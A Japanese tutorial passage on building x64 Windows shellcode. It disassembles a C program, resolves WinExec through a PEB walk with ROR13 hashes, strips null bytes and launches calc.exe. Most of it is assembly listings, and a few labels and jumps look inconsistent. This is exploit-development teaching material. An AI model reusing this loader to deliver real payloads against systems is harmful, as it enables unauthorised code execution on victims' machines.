はじめに
こんにちは、今回はWindowsで動くx64のシェルコードを作ります。
具体的には、WinExec関数から電卓を起動するプログラムをシェルコードとして作成します。
この記事は前回の続きです。手順1で電卓を起動するCプログラムを作成しましたが、手順2ではそれを逆アセンブルし、シェルコードへ改変します。
手順2:シェルコードへの変換
作成したプログラムを逆アセンブルします。逆アセンブラには、GCCのobjdump
を使用しました。GCCのWindows用のツールセットは公式HPから入手できます。
逆アセンブル結果からテキストセクション(.text
)だけを取り出し、シェルコードへ改変します。
先に結果を示します。
逆アセンブルコマンド
objdump -M intel -D shellcode_x64_windows.exe
テキストセクションの抜粋
Disassembly of section .text:
0000000140001000 <.text>:
140001005: 48 89 6c 24 10 mov QWORD PTR [rsp+0x10],rbp
14000100a: 48 89 74 24 18 mov QWORD PTR [rsp+0x18],rsi
14000100f: 48 89 7c 24 20 mov QWORD PTR [rsp+0x20],rdi
140001014: 41 56 push r14
140001016: 48 83 ec 20 sub rsp,0x20
14000101a: 65 48 8b 04 25 60 00 mov rax,QWORD PTR gs:0x60
140001021: 00 00
140001023: 33 db xor ebx,ebx
140001025: 44 8b f3 mov r14d,ebx
140001028: 48 8b 48 18 mov rcx,QWORD PTR [rax+0x18]
14000102c: 4c 8b 59 20 mov r11,QWORD PTR [rcx+0x20]
140001030: 4d 8b 13 mov r10,QWORD PTR [r11]
140001033: 4d 3b d3 cmp r10,r11
140001036: 74 5f je 0x140001097
140001038: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
14000103f: 00
140001040: 4d 8b 4a 50 mov r9,QWORD PTR [r10+0x50]
140001044: 4d 85 c9 test r9,r9
140001047: 74 40 je 0x140001089
140001049: 8b c3 mov eax,ebx
14000104b: 48 c7 c2 ff ff ff ff mov rdx,0xffffffffffffffff
140001052: 48 ff c2 inc rdx
140001055: 66 41 39 04 51 cmp WORD PTR [r9+rdx*2],ax
14000105a: 75 f6 jne 0x140001052
14000105c: 4c 8b c3 mov r8,rbx
14000105f: 48 85 d2 test rdx,rdx
140001062: 74 25 je 0x140001089
140001064: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
140001068: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
14000106f: 00
140001070: 43 0f b7 0c 41 movzx ecx,WORD PTR [r9+r8*2]
140001075: 49 ff c0 inc r8
140001078: c1 c8 0d ror eax,0xd
14000107b: 03 c1 add eax,ecx
14000107d: 4c 3b c2 cmp r8,rdx
140001080: 72 ee jb 0x140001070
140001082: 3d 17 ca 2b 6e cmp eax,0x6e2bca17
140001087: 74 0a je 0x140001093
140001089: 4d 8b 12 mov r10,QWORD PTR [r10]
14000108c: 4d 3b d3 cmp r10,r11
14000108f: 75 af jne 0x140001040
140001091: eb 04 jmp 0x140001097
140001093: 4d 8b 72 20 mov r14,QWORD PTR [r10+0x20]
140001097: 49 63 46 3c movsxd rax,DWORD PTR [r14+0x3c]
14000109b: 44 8b d3 mov r10d,ebx
14000109e: 42 8b 8c 30 88 00 00 mov ecx,DWORD PTR [rax+r14*1+0x88]
1400010a5: 00
1400010a6: 49 03 ce add rcx,r14
1400010a9: 44 8b 59 20 mov r11d,DWORD PTR [rcx+0x20]
1400010ad: 8b 71 24 mov esi,DWORD PTR [rcx+0x24]
1400010b0: 4d 03 de add r11,r14
1400010b3: 8b 69 1c mov ebp,DWORD PTR [rcx+0x1c]
1400010b6: 49 03 f6 add rsi,r14
1400010b9: 8b 79 18 mov edi,DWORD PTR [rcx+0x18]
1400010bc: 49 03 ee add rbp,r14
1400010bf: 85 ff test edi,edi
1400010c1: 74 63 je 0x140001126
1400010c3: 45 8b 0b mov r9d,DWORD PTR [r11]
1400010c6: 4d 03 ce add r9,r14
1400010c9: 74 3f je 0x14000110a
1400010cb: 8b cb mov ecx,ebx
1400010cd: 48 c7 c2 ff ff ff ff mov rdx,0xffffffffffffffff
1400010d4: 48 ff c2 inc rdx
1400010d7: 41 38 0c 11 cmp BYTE PTR [r9+rdx*1],cl
1400010db: 75 f7 jne 0x1400010d4
1400010dd: 4c 8b c3 mov r8,rbx
1400010e0: 48 85 d2 test rdx,rdx
1400010e3: 74 25 je 0x14000110a
1400010e5: 66 66 66 0f 1f 84 00 data16 data16 nop WORD PTR [rax+rax*1+0x0]
1400010ec: 00 00 00 00
1400010f0: 43 0f be 04 01 movsx eax,BYTE PTR [r9+r8*1]
1400010f5: 49 ff c0 inc r8
1400010f8: c1 c9 0d ror ecx,0xd
1400010fb: 03 c8 add ecx,eax
1400010fd: 4c 3b c2 cmp r8,rdx
140001100: 72 ee jb 0x1400010f0
140001102: 81 f9 98 fe 8a 0e cmp ecx,0xe8afe98
140001108: 74 0e je 0x140001118
14000110a: 41 ff c2 inc r10d
14000110d: 49 83 c3 04 add r11,0x4
140001111: 44 3b d7 cmp r10d,edi
140001114: 72 ad jb 0x1400010c3
140001116: eb 0e jmp 0x140001126
140001118: 41 8b c2 mov eax,r10d
14000111b: 0f b7 0c 46 movzx ecx,WORD PTR [rsi+rax*2]
14000111f: 8b 5c 8d 00 mov ebx,DWORD PTR [rbp+rcx*4+0x0]
140001123: 49 03 de add rbx,r14
140001126: 33 d2 xor edx,edx
140001128: 48 8d 0d 11 11 00 00 lea rcx,[rip+0x1111] # 0x140002240
14000112f: ff d3 call rbx
140001131: 48 8b 5c 24 30 mov rbx,QWORD PTR [rsp+0x30]
140001136: 33 c0 xor eax,eax
140001138: 48 8b 6c 24 38 mov rbp,QWORD PTR [rsp+0x38]
14000113d: 48 8b 74 24 40 mov rsi,QWORD PTR [rsp+0x40]
140001142: 48 8b 7c 24 48 mov rdi,QWORD PTR [rsp+0x48]
140001147: 48 83 c4 20 add rsp,0x20
14000114b: 41 5e pop r14
14000114d: c3 ret
14000114e: cc int3
14000114f: cc int3
140001150: cc int3
140001151: cc int3
140001152: cc int3
140001153: cc int3
140001154: cc int3
140001155: cc int3
140001156: 66 66 0f 1f 84 00 00 data16 nop WORD PTR [rax+rax*1+0x0]
14000115d: 00 00 00
140001160: 48 3b 0d 99 1e 00 00 cmp rcx,QWORD PTR [rip+0x1e99] # 0x140003000
140001167: 75 10 jne 0x140001179
140001169: 48 c1 c1 10 rol rcx,0x10
14000116d: 66 f7 c1 ff ff test cx,0xffff
# 以下、省略
完成したシェルコード
.intel_syntax noprefix
.section .text
.global _start
_start:
xor rbx,rbx
mov bl,0x60 #RBX = 0x0000000000000060
mov rax,gs:[rbx] #RAX = GS:[0x60] = PEB
xor rbx,rbx
mov r14d,ebx
mov rcx,QWORD PTR [rax+0x18] #RCX = imageBase
mov r11,QWORD PTR [rcx+0x20] #R11 = start
mov r10,QWORD PTR [r11] #R10 = entry
cmp r10,r11
je .end_of_dll
.dll_search:
mov r9,QWORD PTR [r10+0x50] #R9 = DllName
test r9,r9
je .next_dll
mov eax,ebx
mov rdx,0xffffffffffffffff
.wcslen:
inc rdx
cmp WORD PTR [r9+rdx*2],ax
jne .wcslen
mov r8,rbx
test rdx,rdx
je .next_dll
.wror13:
movzx ecx,WORD PTR [r9+r8*2]
inc r8
ror eax,0xd
add eax,ecx
cmp r8,rdx #if i == wcslen(DllName)
jb .wror13
cmp eax,0x6e2bca17 #if EAX == target
je .dll_is_found
.next_dll:
mov r10,QWORD PTR [r10] #entry = entry->Flink
cmp r10,r11 #if entry == start
jne .dll_search
jmp .dll_is_found
.dll_is_found:
mov r14,QWORD PTR [r10+0x20] #R14 = DllBase
.end_of_dll:
movsxd rax,DWORD PTR [r14+0x3c] #RAX = NtHeader
mov r10d,ebx #i = 0
xor rbx,rbx
mov bl,0x88
add r14,rbx #R14 = R14+0x88
mov ecx,DWORD PTR [rax+r14] #mov ecx,DWORD PTR [rax+r14*1+0x88] => mov ecx,DWORD PTR [rax+r14]
sub r14,rBX #R14 = R14-0x88
xor rbx,rbx
add rcx,r14 #RCX = ExportDirectory
mov r11d,DWORD PTR [rcx+0x20]
mov esi,DWORD PTR [rcx+0x24]
add r11,r14 #R11 = rvaOfNameOrdinals
xor r12,r12
mov r12d,DWORD PTR [rcx+0x1c]
add rsi,r14 #RSI = rvaOfNames
mov edi,DWORD PTR [rcx+0x18] #RDI = NumberOfNames
add r12,r14 #RBP = rvaOfFunctions
test edi,edi
je .exec_winexec
.func_search:
mov r9d,DWORD PTR [r11]
add r9,r14
je .next_func
mov ecx,ebx
mov rdx,0xffffffffffffffff
.strlen:
inc rdx
cmp BYTE PTR [r9+rdx*1],cl
jne .strlen
mov r8,rbx
test rdx,rdx
je .next_func
.ror13:
movsx eax,BYTE PTR [r9+r8*1]
inc r8
ror ecx,0xd
add ecx,eax
cmp r8,rdx #if R8 == strlen()
jb .ror13
cmp ecx,0xe8afe98 #if RCX == target
je .func_is_found
.next_func:
inc r10d #i++
add r11,0x4
cmp r10d,edi #if i > NumberOfNames
jb .func_search
jmp .exec_winexec
.func_is_found:
mov eax,r10d
movzx ecx,WORD PTR [rsi+rax*2]
shl rcx,2
add r12,rcx
mov ebx,DWORD PTR [r12] #mov ebx,DWORD PTR [rbp+rcx*4+0x0] => shl rcx,2 add r12,rcx mov ebx,DWORD PTR [r12]
add rbx,r14 #RBX = WinExec
.exec_winexec:
xor rdx,rdx
push rdx #push '\0'
movabs rcx,0x6578652E636C6163 #"calc.exe"
push rcx
mov rcx,rsp
add rsp,0x18 #Alignment
call rbx #Call WinExec
シェルコードへ改変するために、下記の5つを実施します。
- プロローグとエピローグの削除
- ラベルの割り当て
- Bad Charactersの除去
- アライメントの調整
- バイトコードへの変換
以下、詳細な説明です。
プロローグ・エピローグの削除
Cプログラムでは、電卓を起動するプログラムをメイン関数の中に実装しました。メイン関数の前には、スレッドを初期化する関数などが既に呼ばれている訳で、当然メイン関数にもプロローグとエピローグが存在します。
上図:メイン関数が呼ばれる直前のコールスタック。KERNEL32!BaseThreadInitThunk
でcall命令が呼ばれ、いくつかのジャンプを経た後に、メイン関数へ到達する。
関数のプロローグやエピローグは、シェルコードでは不要のため削除します。また、電卓起動後の処理も、今回は不要のため削除します。
一般に、攻撃が成功した後の処理は、攻撃のシナリオを考えて慎重に決めなければいけません。今回は、攻撃対象のプログラムがクラッシュしてもよい前提で、攻撃成功後(電卓起動後)の処理をまるっと削除しました。
攻撃対象のプログラムにクラッシュしてほしくない場合(例えば、攻撃対象のホストで動くサービスプログラムを停止させることなく攻撃を成功させたい場合)、ExitThread
などを使用して自分のスレッドのみを終了させる必要がありますが、ExitThread
はKernel32.dll
のエクスポート関数のため、WinExec
と同様にPEBから関数アドレスを求める必要があります。
また、カーネルエクスプロイトを行う場合は、攻撃対象プログラムが継続して動作するように、元の場所へ復帰する処理を加える必要があります。
削除した結果を下記に示します。かなりシンプルになりました。
逆アセンブル結果2
Disassembly of section .text:
0000000140001000 <.text>:
14000101a: 65 48 8b 04 25 60 00 mov rax,QWORD PTR gs:0x60
140001021: 00 00
140001023: 33 db xor ebx,ebx
140001025: 44 8b f3 mov r14d,ebx
140001028: 48 8b 48 18 mov rcx,QWORD PTR [rax+0x18]
14000102c: 4c 8b 59 20 mov r11,QWORD PTR [rcx+0x20]
140001030: 4d 8b 13 mov r10,QWORD PTR [r11]
140001033: 4d 3b d3 cmp r10,r11
140001036: 74 5f je 0x140001097
140001038: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
14000103f: 00
140001040: 4d 8b 4a 50 mov r9,QWORD PTR [r10+0x50]
140001044: 4d 85 c9 test r9,r9
140001047: 74 40 je 0x140001089
140001049: 8b c3 mov eax,ebx
14000104b: 48 c7 c2 ff ff ff ff mov rdx,0xffffffffffffffff
140001052: 48 ff c2 inc rdx
140001055: 66 41 39 04 51 cmp WORD PTR [r9+rdx*2],ax
14000105a: 75 f6 jne 0x140001052
14000105c: 4c 8b c3 mov r8,rbx
14000105f: 48 85 d2 test rdx,rdx
140001062: 74 25 je 0x140001089
140001064: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
140001068: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
14000106f: 00
140001070: 43 0f b7 0c 41 movzx ecx,WORD PTR [r9+r8*2]
140001075: 49 ff c0 inc r8
140001078: c1 c8 0d ror eax,0xd
14000107b: 03 c1 add eax,ecx
14000107d: 4c 3b c2 cmp r8,rdx
140001080: 72 ee jb 0x140001070
140001082: 3d 17 ca 2b 6e cmp eax,0x6e2bca17
140001087: 74 0a je 0x140001093
140001089: 4d 8b 12 mov r10,QWORD PTR [r10]
14000108c: 4d 3b d3 cmp r10,r11
14000108f: 75 af jne 0x140001040
140001091: eb 04 jmp 0x140001097
140001093: 4d 8b 72 20 mov r14,QWORD PTR [r10+0x20]
140001097: 49 63 46 3c movsxd rax,DWORD PTR [r14+0x3c]
14000109b: 44 8b d3 mov r10d,ebx
14000109e: 42 8b 8c 30 88 00 00 mov ecx,DWORD PTR [rax+r14*1+0x88]
1400010a5: 00
1400010a6: 49 03 ce add rcx,r14
1400010a9: 44 8b 59 20 mov r11d,DWORD PTR [rcx+0x20]
1400010ad: 8b 71 24 mov esi,DWORD PTR [rcx+0x24]
1400010b0: 4d 03 de add r11,r14
1400010b3: 8b 69 1c mov ebp,DWORD PTR [rcx+0x1c]
1400010b6: 49 03 f6 add rsi,r14
1400010b9: 8b 79 18 mov edi,DWORD PTR [rcx+0x18]
1400010bc: 49 03 ee add rbp,r14
1400010bf: 85 ff test edi,edi
1400010c1: 74 63 je 0x140001126
1400010c3: 45 8b 0b mov r9d,DWORD PTR [r11]
1400010c6: 4d 03 ce add r9,r14
1400010c9: 74 3f je 0x14000110a
1400010cb: 8b cb mov ecx,ebx
1400010cd: 48 c7 c2 ff ff ff ff mov rdx,0xffffffffffffffff
1400010d4: 48 ff c2 inc rdx
1400010d7: 41 38 0c 11 cmp BYTE PTR [r9+rdx*1],cl
1400010db: 75 f7 jne 0x1400010d4
1400010dd: 4c 8b c3 mov r8,rbx
1400010e0: 48 85 d2 test rdx,rdx
1400010e3: 74 25 je 0x14000110a
1400010e5: 66 66 66 0f 1f 84 00 data16 data16 nop WORD PTR [rax+rax*1+0x0]
1400010ec: 00 00 00 00
1400010f0: 43 0f be 04 01 movsx eax,BYTE PTR [r9+r8*1]
1400010f5: 49 ff c0 inc r8
1400010f8: c1 c9 0d ror ecx,0xd
1400010fb: 03 c8 add ecx,eax
1400010fd: 4c 3b c2 cmp r8,rdx
140001100: 72 ee jb 0x1400010f0
140001102: 81 f9 98 fe 8a 0e cmp ecx,0xe8afe98
140001108: 74 0e je 0x140001118
14000110a: 41 ff c2 inc r10d
14000110d: 49 83 c3 04 add r11,0x4
140001111: 44 3b d7 cmp r10d,edi
140001114: 72 ad jb 0x1400010c3
140001116: eb 0e jmp 0x140001126
140001118: 41 8b c2 mov eax,r10d
14000111b: 0f b7 0c 46 movzx ecx,WORD PTR [rsi+rax*2]
14000111f: 8b 5c 8d 00 mov ebx,DWORD PTR [rbp+rcx*4+0x0]
140001123: 49 03 de add rbx,r14
140001126: 33 d2 xor edx,edx
140001128: 48 8d 0d 11 11 00 00 lea rcx,[rip+0x1111]
14000112f: ff d3 call rbx
ラベルの割り当て
逆アセンブル結果には、jmp
のオペランドに絶対アドレスが指定されています。これは、コンパイラが条件分岐後の行先を絶対アドレスへ解決し、オブジェクトファイルへ書き込んだためです。
通常、プログラムはロード時に再配置されるため、コンパイラが生成した絶対ドレスをそのまま使用することはできません。
ローダーによってプログラムが読み込まれる場合は、ローダーが再配置テーブルを参照して絶対アドレスを修正することで、プログラムが位置独立で動作することを保証します。しかし、シェルコードはそのままスタック領域などのメモリへ読み込まれるものであるため、絶対アドレスを放置することはできません。
そこで、絶対アドレスをラベルへ書き換える作業をします。
後々、このコードを適切なオプションを付けてアセンブルすることで、ラベルがPC相対アドレスに解決され、位置独立で動作するバイトコードになります。
ラベルとは、アドレスを保持するためにGNUアセンブラが使用する変数(シンボル)の一種です。基本的に、アドレスを書ける場所は全てラベルに置き換えることができます。厳密な定義はGNUアセンブラの公式ドキュメントに記載されています。日本語では、こちらの記事が非常に分かりやすく解説していました。
絶対アドレスをラベルへ置き換えた結果を下記に示します。
逆アセンブル結果を解読し、処理の流れが分かるようなラベル名を付けました。
逆アセンブル結果3
Disassembly of section .text:
0000000140001000 <.text>:
14000101a: 65 48 8b 04 25 60 00 mov rax,QWORD PTR gs:0x60
140001021: 00 00
140001023: 33 db xor ebx,ebx
140001025: 44 8b f3 mov r14d,ebx
140001028: 48 8b 48 18 mov rcx,QWORD PTR [rax+0x18]
14000102c: 4c 8b 59 20 mov r11,QWORD PTR [rcx+0x20]
140001030: 4d 8b 13 mov r10,QWORD PTR [r11]
140001033: 4d 3b d3 cmp r10,r11
140001036: 74 5f je .end_of_dll
140001038: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
14000103f: 00
.dll_search:
140001040: 4d 8b 4a 50 mov r9,QWORD PTR [r10+0x50]
140001044: 4d 85 c9 test r9,r9
140001047: 74 40 je .next_dll
140001049: 8b c3 mov eax,ebx
14000104b: 48 c7 c2 ff ff ff ff mov rdx,0xffffffffffffffff
.wcslen:
140001052: 48 ff c2 inc rdx
140001055: 66 41 39 04 51 cmp WORD PTR [r9+rdx*2],ax
14000105a: 75 f6 jne .wcslen
14000105c: 4c 8b c3 mov r8,rbx
14000105f: 48 85 d2 test rdx,rdx
140001062: 74 25 je .next_dll
.wror13:
140001064: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
140001068: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
14000106f: 00
140001070: 43 0f b7 0c 41 movzx ecx,WORD PTR [r9+r8*2]
140001075: 49 ff c0 inc r8
140001078: c1 c8 0d ror eax,0xd
14000107b: 03 c1 add eax,ecx
14000107d: 4c 3b c2 cmp r8,rdx
140001080: 72 ee jb wcslen
140001082: 3d 17 ca 2b 6e cmp eax,0x6e2bca17
140001087: 74 0a je .dll_is_found
.next_dll:
140001089: 4d 8b 12 mov r10,QWORD PTR [r10]
14000108c: 4d 3b d3 cmp r10,r11
14000108f: 75 af jne .dll_search
140001091: eb 04 jmp .dll_is_found
.dll_is_found:
140001093: 4d 8b 72 20 mov r14,QWORD PTR [r10+0x20]
.end_of_dll:
140001097: 49 63 46 3c movsxd rax,DWORD PTR [r14+0x3c]
14000109b: 44 8b d3 mov r10d,ebx
14000109e: 42 8b 8c 30 88 00 00 mov ecx,DWORD PTR [rax+r14*1+0x88]
1400010a5: 00
1400010a6: 49 03 ce add rcx,r14
1400010a9: 44 8b 59 20 mov r11d,DWORD PTR [rcx+0x20]
1400010ad: 8b 71 24 mov esi,DWORD PTR [rcx+0x24]
1400010b0: 4d 03 de add r11,r14
1400010b3: 8b 69 1c mov ebp,DWORD PTR [rcx+0x1c]
1400010b6: 49 03 f6 add rsi,r14
1400010b9: 8b 79 18 mov edi,DWORD PTR [rcx+0x18]
1400010bc: 49 03 ee add rbp,r14
1400010bf: 85 ff test edi,edi
1400010c1: 74 63 je .exec_winexec
.func_search:
1400010c3: 45 8b 0b mov r9d,DWORD PTR [r11]
1400010c6: 4d 03 ce add r9,r14
1400010c9: 74 3f je .next_func
1400010cb: 8b cb mov ecx,ebx
1400010cd: 48 c7 c2 ff ff ff ff mov rdx,0xffffffffffffffff
.strlen:
1400010d4: 48 ff c2 inc rdx
1400010d7: 41 38 0c 11 cmp BYTE PTR [r9+rdx*1],cl
1400010db: 75 f7 jne .strlen
1400010dd: 4c 8b c3 mov r8,rbx
1400010e0: 48 85 d2 test rdx,rdx
1400010e3: 74 25 je .next_func
.ror13:
1400010e5: 66 66 66 0f 1f 84 00 data16 data16 nop WORD PTR [rax+rax*1+0x0]
1400010ec: 00 00 00 00
1400010f0: 43 0f be 04 01 movsx eax,BYTE PTR [r9+r8*1]
1400010f5: 49 ff c0 inc r8
1400010f8: c1 c9 0d ror ecx,0xd
1400010fb: 03 c8 add ecx,eax
1400010fd: 4c 3b c2 cmp r8,rdx
140001100: 72 ee jb .ror13
140001102: 81 f9 98 fe 8a 0e cmp ecx,0xe8afe98
140001108: 74 0e je .func_is_found
.next_func:
14000110a: 41 ff c2 inc r10d
14000110d: 49 83 c3 04 add r11,0x4
140001111: 44 3b d7 cmp r10d,edi
140001114: 72 ad jb .func_search
140001116: eb 0e jmp .exec_winexec
.func_is_found:
140001118: 41 8b c2 mov eax,r10d
14000111b: 0f b7 0c 46 movzx ecx,WORD PTR [rsi+rax*2]
14000111f: 8b 5c 8d 00 mov ebx,DWORD PTR [rbp+rcx*4+0x0]
140001123: 49 03 de add rbx,r14
.exec_winexec
140001126: 33 d2 xor edx,edx
140001128: 48 8d 0d 11 11 00 00 lea rcx,[rip+0x1111]
14000112f: ff d3 call rbx
Bad Charactersの除去
シェルコードには、使用できないバイトの種類が存在します。
例えば、攻撃のインターフェイスが文字列の入力欄である場合、シェルコードにナル文字('\0'
)が含まれていると、そのナル文字までしかコードが読み込まれず、攻撃が成功しません。また、HTTPのPOSTデータとしてシェルコードを送る場合、Line Feed('\n'
)が含まれていると、POSTデータが終端してしまい攻撃が成功しません。
このように、攻撃の都合でシェルコードに含められないバイトをBad Charactersと呼び、除去する必要があります。様々な除去方法が存在しますが、概ねの考え方は下記の通りです。
- オペコードにBad Charactersが含まれている場合は、それらを含まない別の命令を組み合わせて元の処理を再現する。
- オペランドの値にBad Charactersが含まれている場合は、別の値をレジスタへ代入して、レジスタに対して適当な演算命令を施し元の値を再現する。
何がBad Charactersに該当するかは攻撃対象プログラムによって変わります。攻撃対象プログラムが手元にある場合は、攻撃インターフェイスに検査用のバイト列(\x00\x01・・・\x99
)を送り込み、どこまで入力されたかをデバッグ等で確認することで、特定できます。
今回は文字列の入力欄にシェルコードを流し込むことを想定し、ナルバイト(0x00
)を除去します。ナルバイトが含まれている行にコメントを付けます。
逆アセンブル結果3(コメント付き)
Disassembly of section .text:
0000000140001000 <.text>:
14000101a: 65 48 8b 04 25 60 00 mov rax,QWORD PTR gs:0x60 ### 該当箇所1 ###
140001021: 00 00
140001023: 33 db xor ebx,ebx
140001025: 44 8b f3 mov r14d,ebx
140001028: 48 8b 48 18 mov rcx,QWORD PTR [rax+0x18]
14000102c: 4c 8b 59 20 mov r11,QWORD PTR [rcx+0x20]
140001030: 4d 8b 13 mov r10,QWORD PTR [r11]
140001033: 4d 3b d3 cmp r10,r11
140001036: 74 5f je .end_of_dll
140001038: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] ### 該当箇所2 ###
14000103f: 00
.dll_search:
140001040: 4d 8b 4a 50 mov r9,QWORD PTR [r10+0x50]
140001044: 4d 85 c9 test r9,r9
140001047: 74 40 je .next_dll
140001049: 8b c3 mov eax,ebx
14000104b: 48 c7 c2 ff ff ff ff mov rdx,0xffffffffffffffff
.wcslen:
140001052: 48 ff c2 inc rdx
140001055: 66 41 39 04 51 cmp WORD PTR [r9+rdx*2],ax
14000105a: 75 f6 jne .wcslen
14000105c: 4c 8b c3 mov r8,rbx
14000105f: 48 85 d2 test rdx,rdx
140001062: 74 25 je .next_dll
.wror13:
140001064: 0f 1f 40 00 nop DWORD PTR [rax+0x0] ### 該当箇所3 ###
140001068: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] ### 該当箇所4 ###
14000106f: 00
140001070: 43 0f b7 0c 41 movzx ecx,WORD PTR [r9+r8*2]
140001075: 49 ff c0 inc r8
140001078: c1 c8 0d ror eax,0xd
14000107b: 03 c1 add eax,ecx
14000107d: 4c 3b c2 cmp r8,rdx
140001080: 72 ee jb wcslen
140001082: 3d 17 ca 2b 6e cmp eax,0x6e2bca17
140001087: 74 0a je .dll_is_found
.next_dll:
140001089: 4d 8b 12 mov r10,QWORD PTR [r10]
14000108c: 4d 3b d3 cmp r10,r11
14000108f: 75 af jne .dll_search
140001091: eb 04 jmp .dll_is_found
.dll_is_found:
140001093: 4d 8b 72 20 mov r14,QWORD PTR [r10+0x20]
.end_of_dll:
140001097: 49 63 46 3c movsxd rax,DWORD PTR [r14+0x3c]
14000109b: 44 8b d3 mov r10d,ebx
14000109e: 42 8b 8c 30 88 00 00 mov ecx,DWORD PTR [rax+r14*1+0x88] ### 該当箇所5 ###
1400010a5: 00
1400010a6: 49 03 ce add rcx,r14
1400010a9: 44 8b 59 20 mov r11d,DWORD PTR [rcx+0x20]
1400010ad: 8b 71 24 mov esi,DWORD PTR [rcx+0x24]
1400010b0: 4d 03 de add r11,r14
1400010b3: 8b 69 1c mov ebp,DWORD PTR [rcx+0x1c]
1400010b6: 49 03 f6 add rsi,r14
1400010b9: 8b 79 18 mov edi,DWORD PTR [rcx+0x18]
1400010bc: 49 03 ee add rbp,r14
1400010bf: 85 ff test edi,edi
1400010c1: 74 63 je .exec_winexec
.func_search:
1400010c3: 45 8b 0b mov r9d,DWORD PTR [r11]
1400010c6: 4d 03 ce add r9,r14
1400010c9: 74 3f je .next_func
1400010cb: 8b cb mov ecx,ebx
1400010cd: 48 c7 c2 ff ff ff ff mov rdx,0xffffffffffffffff
.strlen:
1400010d4: 48 ff c2 inc rdx
1400010d7: 41 38 0c 11 cmp BYTE PTR [r9+rdx*1],cl
1400010db: 75 f7 jne .strlen
1400010dd: 4c 8b c3 mov r8,rbx
1400010e0: 48 85 d2 test rdx,rdx
1400010e3: 74 25 je .next_func
.ror13:
1400010e5: 66 66 66 0f 1f 84 00 data16 data16 nop WORD PTR [rax+rax*1+0x0] ### 該当箇所6 ###
1400010ec: 00 00 00 00
1400010f0: 43 0f be 04 01 movsx eax,BYTE PTR [r9+r8*1]
1400010f5: 49 ff c0 inc r8
1400010f8: c1 c9 0d ror ecx,0xd
1400010fb: 03 c8 add ecx,eax
1400010fd: 4c 3b c2 cmp r8,rdx
140001100: 72 ee jb .ror13
140001102: 81 f9 98 fe 8a 0e cmp ecx,0xe8afe98
140001108: 74 0e je .func_is_found
.next_func:
14000110a: 41 ff c2 inc r10d
14000110d: 49 83 c3 04 add r11,0x4
140001111: 44 3b d7 cmp r10d,edi
140001114: 72 ad jb .func_search
140001116: eb 0e jmp .exec_winexec
.func_is_found:
140001118: 41 8b c2 mov eax,r10d
14000111b: 0f b7 0c 46 movzx ecx,WORD PTR [rsi+rax*2]
14000111f: 8b 5c 8d 00 mov ebx,DWORD PTR [rbp+rcx*4+0x0] ### 該当箇所7 ###
140001123: 49 03 de add rbx,r14
.exec_winexec
140001126: 33 d2 xor edx,edx
140001128: 48 8d 0d 11 11 00 00 lea rcx,[rip+0x1111] ### 該当箇所8 ###
14000112f: ff d3 call rbx
以下、該当箇所ごとのナルバイト除去方法です。
該当箇所1
GSセグメントのオフセットを示す値(0x60
)にナルバイトが含まれています。これは、オフセット値が32ビット(0x00000060
)で解釈されたためです。一般に、命令(およびアドレス指定方式)の仕様でオペランドのサイズは定められており、それより桁が小さい値は上位ビットが0で穴埋めされます。このようなケースでは、レジスタで置き換える際に、下位ビットのみを指し示すレジスタを使用することでナルバイトを回避できます。
使用するレジスタは、全体の処理に影響を与えないものを選ぶ必要があります。今回は、RBXが全体を通して0x00
としてしか扱われていなかったので、RBXを選びました。当該処理の後にRBXをxor
する(0x00
に戻す)ことで、他の処理へ影響を与えないようにしています。
mov
は、第一オペランドのレジスタに合わせて値の幅を決定します。BLはRBXの下位8ビットを指し示すレジスタであるため、0x60
はそのまま8ビットで解釈され、上位ビットは穴埋めされません。
- mov rax,QWORD PTR gs:0x60 ### 該当箇所1 ###
+ xor rbx,rbx #RBX = 0
+ mov bl,0x60 #RBX = 0x0000000000000060
+ mov rax,gs:[rbx] #RAX = GS:[RBX] = GS:[0x00000060] = PEB
+ xor rbx,rbx #RBX = 0
mov命令の仕様に基づいた正確な説明は下記の通りです[参考1][参考2]。
- In 64-bit mode, the instruction’s default operation size is 32 bits.
- In 64-bit code, ‘movabs’ can be used to encode the ‘mov’ instruction with the 64-bit displacement or immediate operand.
64ビットモードであっても、mov命令はオペランドを32ビットと解釈します。つまり、該当箇所1では第1オペランドにRAXを指定していましたが、実際は下位32ビット(EAX)に対して操作が実行されます。64ビットの即値をコピーしたい場合は、movabs命令を使用することが推奨されています。 - Both operands must be the same size, which can be a byte, a word, a doubleword, or a quadword.
第1オペランドと第2オペランドは同じサイズでなければいけません。 - The moffs8, moffs16, moffs32, and moffs64 operands specify a simple offset relative to the segment base, where 8, 16, 32, and 64 refer to the size of the data. The address-size attribute of the instruction determines the size of the offset, either 16, 32, or 64 bits.
セグメント・ベースを基準としたアドレス指定方式の場合、オフセットのサイズは命令のアドレスサイズ属性に従います。
該当箇所1はGSセグメントを基準としたアドレス指定方式です。オフセットは命令のアドレスサイズ属性に従います。mov命令は、64ビットモードであってもオペランドを32ビットと解釈するので、アドレスサイズは32ビットです。よって、0x60
は32ビットとして扱われ、0x00000060
に変換されます。
該当箇所2~4,6
これらはコンパイラの都合で挿入されたnop
のため、行ごと削除して問題ありません。
- 140001038: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] ### 該当箇所2 ###
- 14000103f: 00
- 140001064: 0f 1f 40 00 nop DWORD PTR [rax+0x0] ### 該当箇所3 ###
- 140001068: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] ### 該当箇所4 ###
- 14000106f: 00
- 1400010e5: 66 66 66 0f 1f 84 00 data16 data16 nop WORD PTR [rax+rax*1+0x0] ### 該当箇所6 ###
- 1400010ec: 00 00 00 00
該当箇所5
実効アドレス計算のオフセット(0x88
)にナルバイトが含まれています。原理は該当箇所1と同じであるため、同様の変更を施します。
- mov ecx,DWORD PTR [rax+r14*1+0x88] ### 該当箇所5 ###
+ xor rbx,rbx
+ mov bl,0x88
+ add r14,rbx #R14 = R14+0x88
